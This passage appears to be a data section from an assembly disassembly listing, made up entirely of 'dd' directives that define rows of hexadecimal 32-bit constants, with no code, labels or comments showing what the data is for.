		dd 52843FFDh, 21BAD636h, 0BA2EFE3Dh, 0D12F01BDh, 0FBCB734Ah
		dd 0F5CC97D5h, 9875E7h,	0DD0620F3h, 5F23CD0Dh, 0D9B5B801h
		dd 34547FAEh, 3E61C8h, 0A1CCF30Eh, 0BABB0B95h, 69334300h
		dd 31A8E7DFh, 14460022h, 0FA55186Fh, 5B00863Eh,	0F2C7B8C1h
		dd 0E0CCADh, 97818245h,	5512A156h, 398458C0h, 5147F9Fh
		dd 91421C96h, 73E5806Ah, 6574D474h, 110EB37Dh, 450B637Dh
		dd 0F4B04778h, 0D7F054h, 7B83425Bh, 0FAB88595h,	2592D600h
		dd 33966A2Bh, 0E24C0053h, 286F7BD4h, 43F82D38h,	292CA500h
		dd 42A26890h, 0A0E00077h, 26614CA8h, 3B4CE1BCh,	0FA54182Ch
		dd 3638DD0h, 4774C56Eh,	0FDC8785Ah, 3B13F3B4h, 0E0007199h
		dd 6BAE441Ah, 9B00069h,	21EA577Ah, 0CB2834Fh, 0DBFAC301h
		dd 0B6612003h, 48E0EC30h, 0C200CE16h, 71A6BD96h, 1D4895C8h
		dd 0ACB40020h, 0B5D81CDEh, 4FFF1FA8h, 3D96C178h, 0F1C1B9E3h
		dd 0DA7024B7h, 0F1D70131h, 9C00E13Ah, 0FC0C8571h, 0C009BDCCh
		dd 0F4362894h, 0CBAE00D5h, 5837CEF9h, 4D30FE4Fh, 0ED61B2ECh
		dd 220C02A4h, 4EC80AE1h, 0BAB2D340h, 95D4BE28h,	66419409h
		dd 0EA10006Ah, 74B1D7h,	6BE73C6Eh, 1F88C792h, 0A4BD3Eh
		dd 71055159h, 6502AAh, 796B01A2h, 225B4280h, 0D2DD3Ah
		dd 0D8A68E83h, 46F45Fh,	1F615265h, 6A2FABEEh, 3F00A198h
		dd 491C6776h, 0C70AC8h,	58EFD96h, 4AF4D8F6h, 738573Fh
		dd 0AB328273h, 0F06D2C20h, 97B300ACh, 87CD68C6h, 0C5004B58h
		dd 6CC85111h, 0E65E533Ch, 0C694007Ah, 75CDD0ACh, 1100296Eh
		dd 0CBE2662Eh, 5AEBCCh,	0B0795251h, 8B4C2BE7h, 1F2F4048h
		dd 803EFE7Eh, 0B8D5F0A2h, 0E0CA9Bh, 73C9D810h, 7209411h
		dd 9F8F970Ch, 7F21074h,	1A10D314h, 84F5E029h, 704A331Eh
		dd 67C0BC40h, 0E8507E37h, 0C404C56h, 0C2B7007Ah, 0E26FF2F3h
		dd 0A63CD0C8h, 0E1378090h, 0DA74E046h, 514C0063h, 0BD481D27h
		dd 9EA0CD64h, 434FD00Dh, 599EB441h, 0AAACCA12h,	21B48B4Ch
		dd 252D7C80h, 352D4127h, 1F3C22B6h, 3A148149h, 3EED7C0Bh
		dd 0BCBF0884h, 3CB881C5h, 1D66F06Bh, 2F89D600h,	0E6352777h
		dd 46CF3A75h, 0EA0EB883h, 1FE1A49Fh, 3C284044h,	96177C13h
		dd 0F02311B9h, 72C1A8D1h, 57240027h, 209E36F7h,	0A40FD776h
		dd 2C91251h, 8158CF98h,	72F89668h, 93F49C50h, 74107C7Bh
		dd 0D013146Bh, 3E03145Bh, 1833FF8Eh, 78E44790h,	0F7E39F00h
		dd 0A154C10Ah, 4DF8241Ch, 0DCE0002Fh, 4743A6C4h, 42D7AF00h
		dd 0A522B79Eh, 23E200AAh, 0ABD30802h, 90025B3Eh, 0DB3698B1h
		dd 8173604Ah, 0A6E81383h, 5CEB0678h, 0C800E2D4h, 0CC22A9ABh
		dd 0E4F461E5h, 93EB0FA2h, 0F220C62Ah, 0A7BFB9CFh, 68743E00h
		dd 0F398BB73h, 0B2C3050Eh, 8093F769h, 70D71AFDh, 0D2D4CE00h
		dd 2EF6A4E7h, 7EA32D21h, 860C2880h, 5904A615h, 0B31B412Fh
		dd 0CEE43C43h, 0DC7196C2h, 621897D1h, 300E8679h, 72401964h
		dd 5A9086h, 1235EFF4h, 0A838A926h, 9BEDD800h, 1A19833Bh
		dd 0B82802FAh, 8832F3E2h, 91D9C071h, 7300E618h,	7FED9864h
		dd 2FFEAFC0h, 50D8B1CFh, 96642885h, 19271660h, 474F1E0Ah
		dd 0D081941Ah, 757D62C0h, 0A5C61883h, 0F3F9FBCEh, 781021C4h
		dd 8C6FBCFCh, 77432B07h, 0F5D29AFAh, 25808473h,	28ED0264h
		dd 18F9AC27h, 0F8ADDA60h, 0A5F40405h, 0A067F2h,	629B272Eh
		dd 1989E1Ah, 0E5B6318Dh, 0FEB9943Eh, 8C8BE88Ch,	9E098075h
		dd 526D743Ah, 8240C24h,	7D108A64h, 0A0318AEFh, 0A703940Fh
		dd 11165F2h, 46E3B288h,	78976Bh, 2812FBCDh, 96A0A9DEh
		dd 6E465E84h, 0B6F50177h, 63E35D71h, 34402EF7h,	1F96705Eh
		dd 0A9E0D9Fh, 0F1A079E8h, 3D68914Ch, 0D7B12C82h, 0B89678F0h
		dd 245750h, 0A34E26B1h,	4177AEFAh, 9A38B27Ch, 0C0D8EF6Ah
		dd 53D7EB79h, 0B9A10B51h, 30602F9Eh, 91C19F55h,	95C296D3h
		dd 305FBD20h, 32198E57h, 0E40064A5h, 0AD7B812Ah, 0EA6594BEh
		dd 0F2970D15h, 0EDB86F13h, 7C3083A8h, 2B55726h,	0EBDF0E98h
		dd 0A4567F52h, 0C38B3A0Eh, 0D936AB92h, 6083169Fh, 663DCB21h
		dd 9046A861h, 0D024D09Ah, 2EC2D3Ch, 0D319F080h,	8835CC5h
		dd 0B4821C68h, 874F820h, 0BAFB5780h, 5EDC9620h,	9D009646h
		dd 0D01BA2C6h, 2F04323Ch, 0C24726B6h, 48B10086h, 6FE804A0h
		dd 23EB098Ch, 288251C6h, 0F868759Eh, 5E07DCF2h,	3FCF508h
		dd 1960C6h, 961630E3h, 8D519BBh, 0CA35E100h, 7BD6FED2h
		dd 0E0F506E7h, 311B9EB6h, 43F2F60Ah, 8A3EF051h,	0E42D6039h
		dd 0D7214E19h, 23A82E2Bh, 6B920062h, 1691F323h,	7008395Eh
		dd 592CC0D6h, 0C3213EB9h, 0E6A917Bh, 592479h, 67468554h
		dd 0DE8A2FBEh, 96BD0480h, 9D514D58h, 0BCDC3CD8h, 5C008C6Ah
		dd 0EDFDBCF2h, 34149CDh, 0CB248408h, 0B0057F11h, 0C150FB19h
		dd 0A20AB80h, 8D7209F7h, 0E4621A9Bh, 6779D8D9h,	0F40F8C18h
		dd 0BFD66FDCh, 889F1602h, 64B06751h, 0C660606Ah, 0EFC2D3Eh
		dd 0A510F081h, 28D5E4AFh, 8E143948h, 0CCD0F37Ch, 0C21E5B8h
		dd 7E0DCAA1h, 582C12E8h, 90A69874h, 1A8801DEh, 473C8312h
		dd 34083Eh, 0C396E21Ch,	0B202E753h, 0D1597D00h,	0A96CAD71h
		dd 4440B005h, 8F1EB91Eh, 8CC0659Ah, 9BBAD307h, 302673DEh
		dd 97A81432h, 0B595C1DFh, 738C80CCh, 90468F06h,	7DACD106h
		dd 3E791D23h, 0F12CE0C1h, 0DC454B84h, 496070E4h, 680201E3h
		dd 0DFEA9ED0h, 2D286095h, 0A6D36C21h, 0B2063EC0h, 1815CAA2h
		dd 56F41E10h, 40BED29Bh, 9D55B020h, 1B79F84Ah, 13394E00h
		dd 0F99611C6h, 6ABF25F2h, 22E01C41h, 581800CCh,	84B77AD9h
		dd 95255CBCh, 4DCC7B07h, 888544F6h, 48C222Ch, 9EBEB111h
		dd 0B108B841h, 0D084295Ah, 0C37A737Dh, 22889215h, 0AD03356Dh
		dd 7CC12EEAh, 6AA5A99Dh, 4FE2EC23h, 787E9830h, 10B20141h
		dd 0DFFE7672h, 604D7183h, 1852F0D4h, 306CE22Ch,	29013E50h
		dd 24D639Fh, 2E57EBh, 0D5454160h, 0CA79311Eh, 694C548h
		dd 603FAA52h, 11A20041h, 0C84CC46Ch, 5C00B5F5h,	70405894h
		dd 759C8D2Fh, 1328C0DEh, 35D3244Bh, 14807350h, 30F67E01h
		dd 0D52C8564h, 3C045479h, 816D568Ch, 6CDD21CCh,	8C6BBCC0h
		dd 9BFDD02h, 5E9E018Eh,	86808088h, 7137FF6h, 0FC777A07h
		dd 0B992BA3h
		dd 0C0B86D28h, 1D880963h, 0EE07C303h, 26425Ah, 0F072E741h
		dd 0A678D399h, 3C012400h, 0EED80D9Eh, 0B698A098h, 7D2E2E82h
		dd 9058A87Ch, 1FAA46C8h, 0F844DCD3h, 9CAC7CC3h,	0DCCB32A0h
		dd 269B4300h, 99DDC74Fh, 0A67F1260h, 88188BC1h,	309FC095h
		dd 0D5000B36h, 0A5350F20h, 29979396h, 0D190D80Ch, 0E5A6186Bh
		dd 129F2FFCh, 0F01C2DF2h, 4E20FC70h, 84BF267Eh,	0EA280B2Ch
		dd 0C41D60ABh, 0A3806B11h, 7CB636C1h, 48E03B02h, 9DB321F2h
		dd 80711128h, 7D99F6D8h, 3711035Dh, 0AD549F90h,	0A9F2C6C4h
		dd 0F35570C0h, 0F6FB1A77h, 17BC403Eh, 9219073Bh, 43000AF1h
		dd 9B8FCA6Bh, 71372728h, 959528E4h, 8B619190h, 917C1443h
		dd 18707150h, 7CB51367h, 61B00471h, 0FC62046Eh,	51C47CB8h
		dd 0F12E0966h, 18657908h, 0B2361FD0h, 1AF7C0A5h, 0A150BB47h
		dd 70948477h, 0FFD0004Eh, 3BA3B95Eh, 86812CEFh,	53016829h
		dd 9C052F88h, 8CF5F462h, 93BC8028h, 0DBBC0F8Ch,	0AE08B6Dh
		dd 45B58D47h, 0F0801CB1h, 0D4A22F2Ch, 5A950018h, 28BF5C1Dh
		dd 0BA125FF2h, 28E3213Eh, 0EF306BE2h, 0DD265865h, 0D980F23Fh
		dd 44CF8BF0h, 0CA0A1F87h, 0B0F5A477h, 31000DEh,	0FA435442h
		dd 0AD04A458h, 6C8FEAF9h, 963444A4h, 0F44701C4h, 48583230h
		dd 0EC0349BCh, 0BEE78F78h, 88CC003Fh, 87FC7C4Bh, 9CE70FE9h
		dd 0B7A5F938h, 0C9270088h, 3BF12836h, 4829C817h, 3CCA1020h
		dd 646E0704h, 305AA536h, 96BD2B33h, 1B586896h, 88238BACh
		dd 0B2120123h, 63499EBDh, 2A6180C4h, 39D22CB1h,	0F8879B60h
		dd 806BEABAh, 34F18E1Ah, 7AF3B409h, 79408986h, 189779B4h
		dd 33F64Bh, 0C195F05Fh,	185786F4h, 0C9140934h, 6688E48Eh
		dd 2EE071C0h, 72C6046Eh, 0ACB29AA7h, 0D01900A0h, 0D4A9363Dh
		dd 0B3470920h, 0F04EE3h, 0C4A72B25h, 0E378DCCCh, 2DDCD700h
		dd 867BE3F7h, 0E6344h, 2415DCCFh, 18094CE2h, 0FBC09460h
		dd 3CBDF12h, 0D93EA154h, 0C1F5A046h, 646F3234h,	0C92DD7CCh
		dd 0A0F82459h, 6F8848CEh, 0F080DEC3h, 189F1CE8h, 8086A80Ah
		dd 24604721h, 46E2F049h, 0EC9E002Fh, 339D1D59h,	0A20BC05Ah
		dd 51704C3Ah, 1863D95Ch, 444B0012h, 2706E1D9h, 2D00288Fh
		dd 53B4D8D0h, 253EC8BDh, 6C177C73h, 95817291h, 60FDE2B6h
		dd 0EE73611Ch, 4F1E4603h, 99AF311Fh, 109873CCh,	36FEC837h
		dd 0C8284145h, 168C62ACh, 2047F04Ch, 0BE99E178h, 0F5001A7Bh
		dd 9B1535CFh, 0B8DF46h,	7BFFA2F4h, 1A5FF156h, 0C63ECB00h
		dd 2720B0D9h, 4057561Ch, 42B998B0h, 3BCA2844h, 0D580794Eh
		dd 0AB4C59AEh, 0E00C9E64h, 7031A7A5h, 0BC1F48C5h, 0F0E51D27h
		dd 0D0606BC4h, 671806E4h, 18B0B0E0h, 8B5724E9h,	0F3770204h
		dd 78D6800Fh, 56B8D202h, 40104F41h, 9668C854h, 8762FB38h
		dd 4C4E41C3h, 0E96A9B80h, 4D660B73h, 58506B26h,	421F8894h
		dd 5E4462A7h, 0CF1043ACh, 21CDEEE1h, 88284EA8h,	15A7C074h
		dd 0DE03BC8Eh, 477946C0h, 93412420h, 92E00B4h, 0D31EF157h
		dd 1CC1594Eh, 0A46275A3h, 1F16CA10h, 450097C6h,	3BD2A49Fh
		dd 569CA069h, 0E4928Ah,	0C7CD2722h, 0B1E2C2C8h,	720F031Fh
		dd 0E7115887h, 0D1B2ED12h, 9B278224h, 9C046472h, 1D0CA4F4h
		dd 0C3CB9F1Fh, 0E37CD298h, 33AD09A0h, 7E4CEC0Eh, 0AE246050h
		dd 9AB01B7Dh, 3009F6F4h, 0F1909BC8h, 409A20F2h,	60ECC0DDh
		dd 45EB2740h, 0C571C463h, 13C4F49Fh, 77106D42h,	24F2238h
		dd 3D145D7Ch, 28F0E6FCh, 3DAE4725h, 0E1148D38h,	0ACF83969h
		dd 8B008C69h, 16991D9Dh, 161C23E3h, 0A4277D64h,	362A28D8h
		dd 0C136472h, 0D813EBE1h, 8CB274F3h, 67471630h,	0F0626123h
		dd 90024592h, 85E49301h, 97082F1Fh, 2B971469h, 9622358h
		dd 54E4E3BEh, 51485C00h, 7BADBAB8h, 0CC4402CDh,	0BB978D2Dh
		dd 835C9448h, 0D84B4630h, 73E1C134h, 4417BDA9h,	0E0809211h
		dd 0E847CE69h, 9D303DF2h, 0CCC29973h, 70A20ABCh, 23CA98Dh
		dd 736A8356h, 523FBD02h, 75C100E4h, 8F15A6CEh, 90B7C0D3h
		dd 9B3738h, 0C6CC65E1h,	1C95FB88h, 1E8C4700h, 2D16B8B4h
		dd 48115ABDh, 65694D7Ch, 676E64CCh, 7E1F5FF0h, 0E8F601C1h
		dd 0F7E919EDh, 0E2347368h, 8603264h, 2415D53Ch,	79C8F57h
		dd 0F9E8C0FDh, 0F5C81280h, 0D9F0389h, 81683832h, 0F8109495h
		dd 0F8AF80FCh, 0D8BDDFh, 0E875ECCFh, 0CA83A098h, 0A5966B01h
		dd 2E9D771Ch, 0C02DDC50h, 5F130FD9h, 784C7391h,	0DB07DC91h
		dd 0FC445DC2h, 3F458931h, 1387A040h, 261C03EFh,	0D3B507BFh
		dd 53BCEEF8h, 0EDBEAF27h, 32D96010h, 130BCF46h,	5FBEA3E2h
		dd 80DE6D8Fh, 0F1D51460h, 58C8FE78h, 0B0198026h, 765DF279h
		dd 0EF660800h, 0F7074AA9h, 0D4E80024h, 0BF292EB2h, 0D958463Bh
		dd 8C69BC9Ch, 0E707DF03h, 0D854DE3Ah, 0D51C0Bh,	0FEBBE21Eh
		dd 0D8ACD18Ch, 114417BDh, 0EFD28163h, 646C29ADh, 0A422F687h
		dd 0E190C47Fh, 88484FB4h, 22D6C768h, 87958F9h, 0E3187579h
		dd 562E83Bh, 565BD3CCh,	0D200F8B9h, 0FE929674h,	6A04976Eh
		dd 37F2A4D0h, 0E52DA8A0h, 91560D20h, 0B003858h,	0EF5CDF34h
		dd 2EC0E1D8h, 28AA101Fh, 0C5E9010Dh, 0F3719611h, 0B0066AE7h
		dd 2010AC84h, 0EC0780DBh, 28CA3E24h, 0D1068DD0h, 0D2380501h
		dd 6ED8E8AFh, 7D4203E8h, 0D86E5DB9h, 0B65F4B20h, 0E4086928h
		dd 6BEA61C8h, 60820584h, 2DFCDCBFh, 63E4C4E5h, 60978060h
		dd 98403E5Eh, 71EE5862h, 0E53000D2h, 0C40CC794h, 0E63C8A1Dh
		dd 849B3903h, 0D7B508F4h, 61C8308Bh, 0AF5509C0h, 0BA38701Fh
		dd 5CD401BCh, 0AA522C4Fh, 0F2A862BEh, 5DD63070h, 16E8E03Ch
		dd 0F4C035D2h, 0A89ECF62h, 1BA437F8h, 706E7C0Ah, 0A884BFAAh
		dd 29ECA81Fh, 6A799CD7h, 0C6000E18h, 999E9F01h,	243D0DACh
		dd 1DBC8D0Fh, 0AFD00120h, 8022482Ch, 0BE86BAC9h, 114B9Eh
		dd 0B8B11F60h, 0CE3D815Dh, 1AF22C2Fh, 0D4F85484h, 0FCF4F101h
		dd 0E29E2FFBh, 1244D6D2h, 0B56B00F9h, 0F8A4A150h, 37316090h
		dd 9CD610BCh, 0BDF03061h, 15F4B94Dh, 210E9899h,	39491A46h
		dd 71E4CC65h, 2895DF60h, 6600CF79h, 0B7721DE6h,	246D01Bh
		dd 0AF9204Ah, 60405A67h, 0A62F80B6h, 118097C1h,	0CD1A8098h
		dd 17DEB407h, 4BB1D326h, 6C372BECh, 0B0095981h,	9C422578h
		dd 0A0B92697h, 6E9F9016h, 3C8BC452h, 14C04FC8h,	0F3CB383h
		dd 0C7CD03C6h, 0F0D20EABh, 5E5EF03Ah, 4400BC6Eh, 451DF232h
		dd 0BD5B254Bh, 0C8D6344Ah, 18A22896h, 0A4C54205h, 0B8D4FDAEh
		dd 7B517F83h, 29850BBFh, 50A4F511h, 85624F41h, 30DD1831h
		dd 64E2FC62h, 2260F30h,	0F72A5F77h, 578FEAh, 1910B91Ch
		dd 1525A59h, 8354DF0h, 0B6C2D06Dh, 0D8DBB506h, 41197ACh
		dd 0AE714EB1h, 4A7F4C5Bh, 7D67452h, 92DE8A2Ch, 2140462Fh
		dd 8FE29800h, 7F0C09FFh, 0AB1103F9h, 4FE4865Ah,	4EB0F5F8h
		dd 7D287352h, 0D65C8F08h, 4044C49Ah, 148F9C9Eh,	1C740050h
		dd 0F8DA1803h, 0D900D1B1h, 5B3862FDh, 102088Dh,	4E83EEB5h
		dd 9177DFB6h, 0EB8070B8h, 0E2D6538Fh, 9945448Ch, 218FE30Eh
		dd 0D3A8D8E4h, 67253009h, 75F04360h, 610FBC40h,	0D04C3056h
		dd 2EC0D21Dh, 8918B568h, 2211CE75h, 0EB18015Ch,	517B5949h
		dd 837D743h, 4400213Ah,	7720B18h, 6C5811C0h, 10E61734h
		dd 1239EA02h, 4E50AB00h, 726E684Ch, 1C280036h, 0E5B73AEDh
		dd 0C78310B1h, 0F601127Eh
		dd 5A3683E1h, 0BC5F9880h, 65B0A58Eh, 7C0C4800h,	0BE0BF2C4h
		dd 42D9FB4Eh, 9F065080h, 3758C0FBh, 0AD395260h,	0B0BCCA65h
		dd 5B690722h, 436A0CCCh, 2000C3A6h, 1BCB7D97h, 0A14AF47h
		dd 947109D8h, 87C20390h, 291F50DBh, 751A85D2h, 0D5940868h
		dd 9F94B514h, 185001A3h, 193949EFh, 580C20DEh, 0C703F818h
		dd 9C0115FFh, 500FE088h, 80C41F1Eh, 0B38ECAC2h,	5EBF03CCh
		dd 387C8FB7h, 1EA8D0Ah,	30094CAh, 40DE54FDh, 72100D2h
		dd 4FF6C953h, 4CA995D1h, 0A51188Ah, 2149E818h, 590F70E0h
		dd 0F4F61800h, 6A19E8E5h, 0A3241C34h, 0F8D20480h, 23B01072h
		dd 0CB66005Bh, 6A64D483h, 92A54486h, 26CB7E0Eh,	0BFD8137h
		dd 7180CA74h, 6F649D66h, 0AF054539h, 78E084B3h,	55FEB004h
		dd 8C7DD48Ch, 568FEE04h, 4362CAD6h, 8FE69420h, 0B24B00E7h
		dd 0E7D0DBBh, 5C12856Ah, 682F566Ch, 0D2003D23h,	0D4668BE1h
		dd 47BC30BDh, 1DE20BA0h, 20881F51h, 9D750A34h, 1C17081h
		dd 14412024h, 0E4B779F0h, 4E5E5F02h, 35005A62h,	24BA292Dh
		dd 1823A0D0h, 0EA0DF944h, 5823A131h, 89803775h,	0C57077E9h
		dd 9900901Dh, 91E5A916h, 24F9104Fh, 1F945775h, 0AC100BCh
		dd 2C0C3CA3h, 24775F5Ch, 96831C8Ah, 0E8651282h,	1DCFB2B3h
		dd 18B19B35h, 8A49219Ah, 0F6A71200h, 3ABDC841h,	0E89F8DEh
		dd 48A2C1C6h, 0C8AFEA06h, 0CF8C1400h, 0F2FEB07Ah, 60B9F8B4h
		dd 1CCB013h, 66134F8Ah,	0B03A64FAh, 16004423h, 0B538B805h
		dd 171924D2h, 0DA874238h, 5E73D844h, 0ADB99B67h, 78AF413Ch
		dd 0A2A41F87h, 0B09880C1h, 35342D80h, 0B04DD829h, 0F71D2800h
		dd 98B5059Bh, 8F290A79h, 81B43E74h, 0CF9CB9D4h,	83708058h
		dd 0BF112477h, 0E32D0131h, 0AAA6E5A1h, 148C20DEh, 0B70F2214h
		dd 8C1F24CBh, 0FFE100F6h, 0F7774A68h, 1224FE82h, 0E46808D8h
		dd 86809C11h, 930D7912h, 9C22B143h, 128E7500h, 21778246h
		dd 20671FADh, 4720665Eh, 0A8E1270Dh, 68FACC00h,	2A7314A6h
		dd 64A459CFh, 6044C85Fh, 2380CB79h, 0A8117CD4h,	0CB719300h
		dd 10724B87h, 92F31118h, 0F7E8A0B8h, 7365AA10h,	801ACF8h
		dd 7F3E33ADh, 53C8BA97h, 70015016h, 5A2601B6h, 9EDB8682h
		dd 0F76080C0h, 0D9CDA5B7h, 0AC474852h, 11066C3Dh, 39889813h
		dd 4157AD30h, 0B85041C8h, 5A613C24h, 45D03932h,	11CB7830h
		dd 8874D481h, 708C80A6h, 9ADCAACBh, 54378718h, 0B575BB39h
		dd 2E0132D0h, 0B7F96F4Eh, 0D858BFB2h, 1DDA140Dh, 0C850B022h
		dd 34A92232h, 0BD0FE746h, 0ABA86212h, 3E854870h, 4001912h
		dd 87C805F0h, 0C302C1CCh, 0B93C240Fh, 72C44017h, 0F2C62CAAh
		dd 156D09B0h, 7F46C41Eh, 508FE807h, 9A70F8D6h, 0AF8F00E0h
		dd 0CFE30A6h, 1C42ADD2h, 60E2C864h, 10671280h, 0C8B1830Dh
		dd 884B8099h, 0D0804112h, 92550114h, 8B703E0h, 58EEB28Eh
		dd 42BC9C36h, 0A4A028Ch, 5359FEC0h, 5E2FC660h, 767C6890h
		dd 56D2403h, 0A0639C8Fh, 6051D856h, 92B7865h, 5C80A91Eh
		dd 7AF13020h, 0C5F04B18h, 0A888A641h, 42B88B1Dh, 0E978DE01h
		dd 0D1FCF594h, 22E1808Dh, 287C2955h, 5D0712ECh,	5EA431CEh
		dd 28944841h, 924BD03Bh, 0B4675B74h, 0CA62C0F8h, 445CD4BFh
		dd 7A96E054h, 0F7D603CBh, 5836EE3Eh, 33EC3900h,	79DC868Fh
		dd 2BA20F63h, 7B83C3F5h, 81798CE8h, 719AF600h, 0C922821h
		dd 0B4BC48C1h, 0D4618A8Ch, 0A49C4D2Eh, 0F8300196h, 24C741F7h
		dd 63B828E8h, 3E92E26Dh, 23E0E8E8h, 98795499h, 0B4249218h
		dd 1C9A087h, 0C3BD3044h, 88325C70h, 44009B6Eh, 0A6636048h
		dd 0FAF5D433h, 0BC533D74h, 2980F374h, 95E56F29h, 37005D9Ch
		dd 918B31F0h, 0EC38D6h,	3463D971h, 1CF31A5Eh, 0A2C04B53h
		dd 2FEF30A9h, 0F3022407h, 43F07E3Eh, 60B0A5D4h,	5199C169h
		dd 0BC055C6Bh, 4FAD7F1Fh, 31E7F847h, 0D1879530h, 640403B3h
		dd 0C4747277h, 0DE56F088h, 86CF8D1Fh, 0D116745h, 443B3BC2h
		dd 4620A0BCh, 599C93B4h, 631840h, 0DF937D96h, 0F03C0616h
		dd 0DCC4D31Fh, 0E11FDE80h, 282FE91h, 0ED894673h, 0D8A086E8h
		dd 0B7F64462h, 0E609D91Ch, 81E5B24Fh, 66EFF53Fh, 98945FCh
		dd 875C135Eh, 1D654800h, 8D0028E6h, 0D78EB5Ah, 9469B15Bh
		dd 3C465C48h, 0A4E8101Dh, 0AE43C0D8h, 0C9029D64h, 71D9D29Ah
		dd 0F111006Bh, 1480B1F5h, 4DECA84Ch, 0BC938Dh, 5056C4E3h
		dd 0A25330Dh, 11341FB9h, 21B18047h, 1CC8A3FFh, 0B47DD3h
		dd 83EF98ADh, 0C53029D6h, 0B7849886h, 8D92573h,	0DCB56C11h
		dd 5F12A547h, 20CB566Ch, 64C42688h, 0EE8982C0h,	11A70029h
		dd 31CCCFE9h, 28C3D07Dh, 0B0ABC20Eh, 14F4B7EBh,	70724EB0h
		dd 5D8FE581h, 4D8A6D6h,	9D9F58h, 91D17D8Fh, 5133B855h
		dd 0C098A8A4h, 0E9359F08h, 129D8E8Eh, 0F3E11A41h, 225420A7h
		dd 0EC5EBE40h, 84985021h, 0CC98DAh, 1A0B82E3h, 6E866F32h
		dd 89B45E18h, 1C2849h, 8753F8C9h, 2F026A9Dh, 9811DD38h
		dd 4C50A01Eh, 822096D5h, 0BBC1F049h, 4B1D8844h,	0E118F210h
		dd 6738411h, 0AC650FB6h, 5013D953h, 2E002E01h, 5F17CF61h
		dd 0B787A3Ah, 0AFC921DAh, 0A891E49Dh, 0B5082080h, 0ED00579Ah
		dd 0B727C2F1h, 139F76Dh, 55F54FEBh, 17884C5Eh, 0B0D4A4C0h
		dd 76CF1885h, 0C989D1CCh, 18A93358h, 0A8B149AEh, 0F3D79ACh
		dd 972E3DBh, 7FBF3100h,	7D092E1Dh, 3EE579Eh, 5C37C0h, 6323FAB1h
		dd 0EBAD4D90h, 0FE008978h, 0ED4FA573h, 0EE7E358Fh, 0A31D0244h
		dd 5FA2F560h, 0B0EEDC48h, 0E646E498h, 6312BC01h, 0CB2A30Ch
		dd 844F8892h, 0EE981200h, 0FDF29E70h, 547F0201h, 3E51DA0Ch
		dd 92441CEDh, 374C9E60h, 0D94EC91Dh, 0A051744Ch, 0B6D806DAh
		dd 603F75C5h, 0A5D1E491h, 0B9062018h, 0D9D02F3Ah, 7705251Ah
		dd 9D11B81Dh, 6CC8F080h, 290443EAh, 80E8625Ch, 0D45C084Ch
		dd 1A48E500h, 1B938302h, 36A139D8h, 0FA779160h,	0C00583Fh
		dd 5B2326B5h, 71CC80h, 0BE111CACh, 0EC89159Bh, 0B663EF03h
		dd 927A1D5h, 6AE849F8h,	5EAE7C40h, 82011892h, 5616D5CCh
		dd 438C976h, 8C91BCh, 0AE03C663h, 0BAD45066h, 0EAC73124h
		dd 0DE17B420h, 0A8492D09h, 3500A7F2h, 0B8D76FE4h, 2D10631h
		dd 0D72A95D8h, 68A6E8A8h, 4674B0A1h, 0F7F30092h, 0DA58F424h
		dd 7DB3056Bh, 0C853DF87h, 0BA7785B4h, 9336A06h,	76184ED9h
		dd 8EF513D8h, 0ADE4D234h, 4782F720h, 0A17527F0h, 0A4EB9484h
		dd 8800D0BCh, 44E32ACCh, 1ED5327Ah, 0C0EB4584h,	871BB763h
		dd 8B04F00Bh, 0ED561208h, 20C970C4h, 4AAC0069h,	70E39412h
		dd 0DE63F830h, 833200F9h, 0BA14FBDDh, 3402C0CEh, 40A6376Fh
		dd 812C5179h, 627EE487h, 852BCAACh, 20B1B5B4h, 0D95F5412h
		dd 1842F17Ch, 68310016h, 60711869h, 357CFABAh, 0B84F821Eh
		dd 0D2501EC0h, 0DC680929h, 88B5CB78h, 18536830h, 5149EA11h
		dd 1803F88h, 8A84185Bh,	1FBF00F7h, 0B3DE4E6Eh, 5F76B7C2h
		dd 0D1F0B612h, 0DAB5DC80h, 1BBF03E7h, 840A3551h, 246EA94Ah
		dd 103EDA02h, 97815102h, 0C44E22F5h, 685C0CBCh,	0E85C48E8h
		dd 60008C98h, 83F78D94h, 0E9DBCF9h, 0DA7B8949h,	7C6050ABh
		dd 515299ADh, 842110D8h, 3AB59217h, 3442344h, 7186A88Bh
		dd 9DDBAE98h, 685F8C30h, 0B6F4A9AAh, 0A1465C88h, 815E9C1Ch
		dd 8109D3DDh, 8F980190h, 4682682Ch, 2CE7CAB6h, 63604B44h
		dd 78E45ABFh
		dd 0DA0388A8h, 2400E95Ah, 0A41E83ECh, 0F4433F9Ch, 0BF4512Ch
		dd 0EC0E52B5h, 93478Eh,	0DE1648DCh, 0DA020E4Fh,	0C975BF1Ah
		dd 7C6A00B6h, 0D5003567h, 6DF6AE78h, 1DDBB504h,	808E53D0h
		dd 0A2FDB644h, 8F485579h, 0E84B4AE1h, 0C030845Bh, 0E21A6445h
		dd 304AF2B8h, 5F27D5E5h, 19CCA340h, 30A290AFh, 84830042h
		dd 137DEB1Ch, 800EDC4h,	0C28B0976h, 9AA0FEh, 99D01D2Bh
		dd 7D61C8CEh, 310C2300h, 30A601EAh, 0C219009Ah,	2C715D88h
		dd 1D33BE75h, 0BB0923h,	5D80E221h, 90F68BD1h, 18EFDF0Ch
		dd 7A881A4h, 0CA9E1F62h, 0EC078134h, 0C3C0E77Fh, 0E50ECC77h
		dd 41853B17h, 4D74AE99h, 0F8CEB08h, 2C725D89h, 80B888F1h
		dd 1A5D81E3h, 0EB004B1Ch, 0FA2B2E7Fh, 76E60A4h,	0E0ADFCBAh
		dd 1795809Ah, 0B560020Bh, 0DFEEDE39h, 0C44D00B3h, 39ABCB67h
		dd 350028E7h, 0D287E3F1h, 148A7EEEh, 48ED310Dh,	745D8B80h
		dd 448C8D2Ch, 8300E5B9h, 20A8FD5Dh, 0C0AE01D7h,	0FECBB019h
		dd 8B1E2B35h, 530047E8h, 0E061D73Fh, 12E00D5h, 2528FB6Dh
		dd 0A0A19C9Bh, 8B6EC49Ah, 340346Fh, 80DCF750h, 193D06BAh
		dd 8DEB1A6h, 7521834Bh,	0D3DCEFh, 76F4F010h, 4098DA90h
		dd 0F0C81E55h, 0E601B212h, 87A38372h, 19831C82h, 0F9F40139h
		dd 9E551FB8h, 5474E7F2h, 60213467h, 505BF3E0h, 0FE1E0038h
		dd 2592E0C4h, 5D508CD6h, 45608BDCh, 7FAD1D89h, 124D00B0h
		dd 28570DC0h, 0DB4836B2h, 833C3D22h, 0EB900B53h, 929907A0h
		dd 9166A4h, 0BD0F939Ah,	8F5C6F04h, 0ADC2AD65h, 28EC87FBh
		dd 0B9A701A0h, 0D4BE0F4Fh, 9A8EA513h, 0F3190580h, 51C09E18h
		dd 8A6672BAh, 0C7650323h, 0C65D1B34h, 2100B6A3h, 71666ADBh
